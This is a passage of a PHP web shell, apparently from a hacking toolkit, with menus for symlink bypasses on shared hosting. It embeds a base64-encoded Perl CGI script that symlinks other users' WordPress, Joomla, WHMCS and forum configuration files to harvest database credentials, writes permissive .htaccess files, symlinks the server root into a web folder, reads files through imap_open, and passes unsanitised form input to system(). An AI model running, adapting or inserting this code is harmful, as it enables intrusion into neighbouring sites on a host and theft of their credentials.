ucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMjIyMjIyIj4NCjxwPlBhaW4gU2NyaXB0IFRvIFN5bWxpbmsgQ29uZmlnczwvcD4NCjxwPjxmb250IGNvbG9yPSIjMDA5OTAwIj5bPC9mb250PiBSZUNvZGVkIGJ5IFZpcnVzYSBXb3JtIDxmb250IGNvbG9yPSIjMDA5OTAwIj58PC9mb250PiBPcmlnaW5hbCBDb2RlZCBieSBLYXJhciBhTFNoYU1pIDxmb250IGNvbG9yPSIjMDA5OTAwIj58IDwvZm9udD4gDQpEZXZlbG9wZWQgQnkgSGlkZGVuIFBhaW4gPGZvbnQgY29sb3I9IiMwMDk5MDAiPl08L2ZvbnQ+PC9wPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiByb3dzPSIyNSIgY29scz0iNzAiICBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjojMjIyMjIyOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMGFhMDA7IiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBib3JkZXItcmFkaXVzOiA0cHg7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiMyMjIyMjI7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I2FiYWJhYjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4ICMwMDc3MDA7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMjIyMjIyOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojZTRlNGU0IiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzIyMjIyMiI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBmZjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';
2568$file=(base64_decode($vw));
2569mkdir('perl', 0777);
2570$hope = fopen("perl/.htaccess", 'w');
2571$hcon= "Options FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .pl\nAddHandler cgi-script .pl\nAddHandler cgi-script .pl";
2572fwrite ( $hope, $hcon ) ;
2573$pelfile = fopen("perl/vw.pl" ,"w");
2574fwrite ($pelfile,$file);
2575 chmod("perl/vw.pl",0755);
2576 echo "<iframe src=perl/vw.pl width=50% height=70% ></iframe><br><br> ";
2577 echo "<font face='Tahoma' color='#007700' size='2pt'>check in this directory for configs files</font><br><br><b><a href='perl/' target='_blank'> Click Here </a></b><br><br>";
2578}
2579
2580echo '<table width=100% border=0><tr><td align=center></td></tr></table>
2581<p><form method=post>
2582 <input type=submit name="ms" value="Read /etc/named.conf" /></form></p><br>';
2583
2584if(isset($_POST['ms']))
2585{
2586error_reporting(0);
2587$cmd="ls /var/named";
2588$r=shell_exec($cmd);
2589mkdir('conkill',0777);
2590$rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2591$f = fopen('conkill/.htaccess','w');
2592$agshell = symlink("/","conkill/root");
2593fwrite($f , $rr);
2594echo '<form method=post><textarea class=area rows=10 cols=35 name=web>';
2595echo $r;
2596echo '</textarea><br><br><input type=submit name=w value="Bypass Now !">
2597</form><br><br>';
2598
2599}
2600error_reporting(0);
2601$webs=explode("\n",$_POST['web']);
2602if(isset($_POST['w']))
2603{
2604$webs=explode("\n",$_POST['web']);
2605echo "
2606<div class='tmp'><table width='40%'><tr><td><font color='#e4e4e4' ><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td></tr></div>";
2607foreach($webs as $f)
2608{
2609 $str=substr_replace($f,"",-4);
2610$user = posix_getpwuid(@fileowner("/etc/valiases/".$str));
2611echo "<tr><td><font color=red>".$str."</font></td><td><font color=#b0b000>".$user['name']."</td><td><div class='cone'><a target='_blank' href=conkill/root/home/".$user['name']."/public_html/>Symlink</a></div></td></tr>";
2612flush();
2613}
2614
2615}
2616echo '</table><br><br>';
2617}
2618if(isset($_GET['action']) && $_GET['action'] == 'file'){
2619echo '<center><b class="conte">
2620<a href="?action=sym">Symlink Info</a> -
2621<a href="?action=dose">Cms Scanner</a> -
2622<a href="?action=vkill">Perl based symlink</a> -
2623<a href="?action=file">Symlink Manual</a> -
2624<a href="?action=manu">Manually Retrieve Config</a> -
2625<a href="?action=ensim">Enable Symlink If Disabled</a> -
2626<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2627<a href="?action=simby">Symlink Bypass 2014</a> </center>
2628</b>';
2629echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Manual</span><center><br>';
2630echo'<br><form method="post">
2631<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
2632<input type="text" name="symfile" value="file name symlink .txt" size="60"/><br /><br />
2633<input type="submit" value="symlink" name="symlink" /> <br /><br />
2634</form>';
2635
2636$pfile = $_POST['file'];
2637$symfile = $_POST['symfile'];
2638$symlink = $_POST['symlink'];
2639
2640if ($symlink)
2641{
2642@mkdir('simfel',0777);
2643$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
2644$f =@fopen ('simfel/.htaccess','w');
2645@fwrite($f , $c);
2646@symlink("$pfile","simfel/$symfile");
2647echo '<br /><font face="Tahoma" color="#ff6000" size="3pt"><b>Done.. !</b><br></font><div class="cont" align="center"><font face="Tahoma" color="#ff6000" size="2pt">Open this file -> <a target="_blank" href="simfel/'.$symfile.'" >'.$symfile.'</a></font></div>';
2648}
2649}
2650
2651if(isset($_GET['action']) && $_GET['action'] == 'manu'){
2652echo '<center><b class="conte">
2653<a href="?action=sym">Symlink Info</a> -
2654<a href="?action=dose">Cms Scanner</a> -
2655<a href="?action=vkill">Perl based symlink</a> -
2656<a href="?action=file">Symlink Manual</a> -
2657<a href="?action=manu">Manually Retrieve Config</a> -
2658<a href="?action=ensim">Enable Symlink If Disabled</a> -
2659<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2660<a href="?action=simby">Symlink Bypass 2014</a> </center>
2661</b>';
2662echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Manually Retrieve Config</span><center><br>';
2663echo "<input type='submit' value='Copy & Symlink' /><br><br>
2664<select name='switch'>
2665<option selected='selected' value='file'>View file</option><option value='dir'>View dir</option><input type='text' size='60' name='string'><input type='submit' value='go'>
2666</select><br><br>";
2667function red(){
2668
2669$string = !empty($_POST['string']) ? $_POST['string'] : 0;
2670$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
2671
2672if ($string && $switch == "file") {
2673$stream = imap_open($string, "", "");
2674if ($stream == FALSE)
2675die("Can't open imap stream");
2676
2677$str = imap_body($stream, 1);
2678if (!empty($str))
2679echo "<pre>".$str."</pre>";
2680imap_close($stream);
2681} elseif ($string && $switch == "dir") {
2682$stream = imap_open("/etc/passwd", "", "");
2683if ($stream == FALSE)
2684die("Can't open imap stream");
2685
2686$string = explode("|",$string);
2687if (count($string) > 1)
2688$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
2689else
2690$dir_list = imap_list($stream, trim($string[0]), "*");
2691echo "<pre>";
2692for ($i = 0; $i < count($dir_list); $i++)
2693echo "$dir_list[$i]\n";
2694echo "</pre>";
2695imap_close($stream);
2696}
2697}
2698if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
2699echo '<br><b><font face:Tahoma, Geneva, sans-serif; color="#ff0000" size="3pt">Sorry, This function does not work on Windows platforms.</b></font><br>';
2700
2701}else
2702
2703{
2704$slash="/";
2705$basep=str_replace("\\","/",$basep);
2706}
2707$s=$_SERVER['PHP_SELF'];
2708
2709echo '<br><form method=post action="'.$s.'">
2710<p align="center">
2711SymLink With PHP<br><input type=text name=mrc1 size=50><br> <br><input type=text value="'.getcwd().$slash."symlink.txt".'" name=mrc2
2712
2713size=50><br><br><input type=submit value=Submit><p align="center"></form>
2714<form method=post action="'.$s.'"><p align="center"><br>
2715
2716SymLink With OS : <br><input type=text name=mrci1 size=50><br> <br><input type=text value="'.getcwd().$slash."symlink.txt".'" name=mrci2
2717
2718size=50><br><br><input type=submit value=Submit>
2719</p></form><br>';
2720if ($_POST['mrc1'] && $_POST['mrc2']){
2721if (symlink($_POST['mrc1'],$_POST['mrc2'])){
2722echo "<script>alert('Symlink Worked')</script>";
2723}else{
2724echo "<script>alert('Symlink Not Worked')</script>";
2725}}
2726if ($_POST['mrci1'] && $_POST['mrci2']){
2727if (system('ls -s '.$_POST['mrci1']." ".$_POST['mrci2'])){
2728echo "<script>alert('Symlink Worked')</script>";
2729}else{echo "<script>alert('Symlink Didn't Work')</script>";
2730}}
2731}
2732
2733if(isset($_GET['action']) && $_GET['action'] == 'ensim'){
2734echo '<center><b class="conte">
2735<a href="?action=sym">Symlink Info</a> -
